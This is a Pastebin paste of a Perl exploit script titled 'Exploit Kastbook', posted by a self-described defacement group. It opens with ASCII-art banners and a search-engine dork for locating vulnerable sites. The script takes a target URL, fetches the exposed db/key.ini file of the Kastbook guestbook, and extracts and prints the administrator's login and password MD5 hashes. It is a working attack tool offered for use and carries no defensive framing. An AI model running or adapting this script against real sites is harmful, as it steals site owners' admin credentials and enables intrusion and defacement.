Advertisement
AngrY_DefaceR

Exploit Kastbook

Aug 24th, 2016
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.93 KB | None | 0 0
  1. ++++++++++++++++++++++++++++++++++++
  2. ++# DORK: inurl:/kastbook ++
  3. ++++++++++++++++++++++++++++++++++++
  4. use HTTP::Request::Common;
  5. use LWP::UserAgent;
  6.  
  7. print         "\n       ▒▒▒▒▒▒▒▓ \n";
  8.         print        "      ▒▒▒▒▒▒▒▓▓▓ \n";
  9.          print       "      ▒▓▓▓▓▓▓░░░▓ \n";
  10.          print       "      ▒▓░░░░▓░░░░▓ \n";
  11.          print       "      ▓░░░░░░▓░▓░▓ \n";
  12.           print      "      ▓░░░░░░▓░░░▓ \n";
  13.          print       "      ▓░░▓░░░▓▓▓▓ \n";
  14.          print       "      ▒▓░░░░▓▒▒▒▒▓ \n";
  15.          print       "      ▒▒▓▓▓▓▒▒▒▒▒▓ \n";
  16.           print      "      ▒▒▒▒▒▒▒▒▓▓▓▓ \n";
  17.          print       "      ▒▒▒▒▒▓▓▓▒▒▒▒▓ \n";
  18.          print       "      ▒▒▒▒▓▒▒▒▒▒▒▒▒▓ \n";
  19.          print       "      ▒▒▒▓▒▒▒▒▒▒▒▒▒▓ \n";
  20.          print       "      ▒▒▓▒▒▒▒▒▒▒▒▒▒▒▓ \n";
  21.          print       "      ▒▓▒▓▒▒▒▒▒▒▒▒▒▓ \n";
  22.          print       "      ▒▓▒▓▓▓▓▓▓▓▓▓▓ \n";
  23.          print       "      ▒▓▒▒▒▒▒▒▒▓ \n";
  24.          print       "      ▒▒▓▒▒▒▒▒▓ \n";
  25. sleep(1);
  26.          print "                      [+] *** Brazilians Hackers Team *** [+]\n";
  27. sleep(1);
  28. print "\t\n";
  29.          print "                       [+]  *** Skype: BrazilObscure *** [+]\n";
  30. print "\t\n";
  31.  
  32. sleep(1);
  33. print "\t\n";
  34.  
  35. print("\n". '  ###########################################' ."\n");
  36. print('  #      ----- EXPLOIT KASTBOOK -----       #' ."\n");
  37. print('  #                                         #' ."\n");
  38. print('  #  http://pastebin.com/u/AngrY_DefaceR   #' ."\n");
  39. print('  #                                         #' ."\n");
  40. print('  #             Kurdish HACKERS              #' ."\n");
  41. print('  #                                         #' ."\n");
  42. print('  ###########################################' . "\n\n\n");
  43. sleep(1);
  44.  
  45.  
  46.  
  47. if($ARGV[0] eq "")
  48. {
  49.         print(" [?] MODO DE USAR: ./Exploit.pl (URL)" . "\n\n");
  50. sleep(1);
  51.         print(" [?] EXEMPLO: ./Exploit.pl http://www.site.com/kastbook/" . "\n\n");
  52. sleep(1);
  53.         exit;
  54. }
  55.  
  56. my $URL   = '';
  57. my $input = $ARGV[0];
  58.  
  59. if(substr($input, -1, 1) eq '/')
  60. {
  61.         $URL = $input . 'db/key.ini';
  62. }
  63. else
  64. {
  65.         $URL = $input . '/db/key.ini';
  66. }
  67.  
  68. my $useragent = LWP::UserAgent -> new;
  69. my $request   = $useragent -> get($URL);
  70.  
  71. if ($request -> is_success)
  72. {
  73.         print(" [~] Request: \tOK" . "\n\n");
  74. sleep(1);
  75.          
  76.         my $result = $request -> content;
  77.          
  78.         if(($result =~ m/&retour_ini_log=/) and ($result =~ m/&retour_ini_mdp=/))
  79.         {
  80.                 @Hash = split(/&/, $result);
  81.                  
  82.                 $Hash = @Hash;
  83.                 $Hash[0] = substr($Hash[1], 15, 32);
  84.                 $Hash[1] = substr($Hash[2], 15, 32);
  85.                  
  86.                 if($Hash[0] ne "")
  87.                 {
  88.                         print(" [+] LOGIN: \t" . $Hash[0] . " (MD5)\n\n");
  89. sleep(1);
  90.                 }
  91.                 else
  92.                 {
  93.                         print(' [-] NAO E POSSIVEL OBTER O LOGIN !' . "\n\n");
  94. sleep(1);
  95.                 }
  96.                  
  97.                 if($Hash[1] ne "")
  98.                 {
  99.                         print(" [+] SENHA: \t" . $Hash[1] . " (MD5)\n\n");
  100. sleep(1);
  101.                 }
  102.                 else
  103.                 {
  104.                         print(' [-] NAO E POSSIVEL OBTER A SENHA !' . "\n\n");
  105. sleep(1);
  106.                 }
  107.         }
  108.         else
  109.         {
  110.                 print(' [-] NAO E POSSIVEL ENCONTRAR OS VALORES CORRETOS ...' . "\n\n");
  111. sleep(1);
  112.         }
  113. }
  114. else
  115. {
  116.         print(" [-] Request: \tErro ..." . "\n\n");
  117. sleep(1);
  118. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement